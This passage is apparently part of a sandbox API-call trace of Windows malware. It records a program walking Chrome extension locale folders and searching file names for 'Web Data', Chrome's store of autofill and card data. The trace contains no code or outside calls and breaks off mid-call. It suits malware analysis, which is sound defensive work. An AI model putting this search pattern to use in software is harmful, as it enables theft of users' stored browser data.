uBytes=0xfb) returned 0x6523b0 [0078.503] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.503] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.503] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.503] lstrlenA (lpString="fil") returned 3 [0078.503] LocalAlloc (uFlags=0x40, uBytes=0xfe) returned 0x6524b8 [0078.503] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.504] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" [0078.504] LocalFree (hMem=0x6523b0) returned 0x0 [0078.504] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned 125 [0078.504] lstrlenA (lpString="\\*.*") returned 4 [0078.504] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x6525c0 [0078.504] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil" [0078.504] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*" [0078.504] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.504] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.504] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.504] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.504] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.504] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.504] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.504] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.504] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.504] LocalFree (hMem=0x6525c0) returned 0x0 [0078.504] LocalFree (hMem=0x6524b8) returned 0x0 [0078.505] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.505] lstrcmpiA (lpString1=".", lpString2="fr") returned -1 [0078.505] lstrcmpiA (lpString1="..", lpString2="fr") returned -1 [0078.505] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.505] lstrlenA (lpString="\\") returned 1 [0078.505] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.505] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.505] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.505] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.505] lstrlenA (lpString="fr") returned 2 [0078.505] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.505] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.505] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" [0078.505] LocalFree (hMem=0x6523b0) returned 0x0 [0078.505] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned 124 [0078.505] lstrlenA (lpString="\\*.*") returned 4 [0078.505] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.505] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr" [0078.505] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*" [0078.505] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.505] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.505] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.505] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.505] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.505] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.505] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.505] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.505] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.505] LocalFree (hMem=0x6525c0) returned 0x0 [0078.505] LocalFree (hMem=0x6524b8) returned 0x0 [0078.505] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.505] lstrcmpiA (lpString1=".", lpString2="he") returned -1 [0078.506] lstrcmpiA (lpString1="..", lpString2="he") returned -1 [0078.506] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.506] lstrlenA (lpString="\\") returned 1 [0078.506] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.506] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.506] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.506] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.506] lstrlenA (lpString="he") returned 2 [0078.506] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.506] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.506] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" [0078.506] LocalFree (hMem=0x6523b0) returned 0x0 [0078.506] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned 124 [0078.506] lstrlenA (lpString="\\*.*") returned 4 [0078.506] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.506] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he" [0078.506] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*" [0078.506] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.507] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.507] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.507] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.507] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.507] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.507] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.507] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.507] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.507] LocalFree (hMem=0x6525c0) returned 0x0 [0078.507] LocalFree (hMem=0x6524b8) returned 0x0 [0078.507] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.507] lstrcmpiA (lpString1=".", lpString2="hi") returned -1 [0078.507] lstrcmpiA (lpString1="..", lpString2="hi") returned -1 [0078.507] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.507] lstrlenA (lpString="\\") returned 1 [0078.507] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.507] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.507] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.507] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.507] lstrlenA (lpString="hi") returned 2 [0078.507] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.507] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.507] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" [0078.507] LocalFree (hMem=0x6523b0) returned 0x0 [0078.507] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned 124 [0078.507] lstrlenA (lpString="\\*.*") returned 4 [0078.507] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.507] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi" [0078.507] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*" [0078.507] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.507] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.508] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.508] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.508] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.508] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.508] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.508] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.508] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.508] LocalFree (hMem=0x6525c0) returned 0x0 [0078.508] LocalFree (hMem=0x6524b8) returned 0x0 [0078.508] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.508] lstrcmpiA (lpString1=".", lpString2="hu") returned -1 [0078.508] lstrcmpiA (lpString1="..", lpString2="hu") returned -1 [0078.508] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 121 [0078.508] lstrlenA (lpString="\\") returned 1 [0078.508] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.508] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.508] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.508] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 122 [0078.508] lstrlenA (lpString="hu") returned 2 [0078.508] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.508] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.508] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" [0078.508] LocalFree (hMem=0x6523b0) returned 0x0 [0078.508] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned 124 [0078.508] lstrlenA (lpString="\\*.*") returned 4 [0078.508] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.508] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" [0078.508] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*" [0078.508] FindFirstFileA (in: 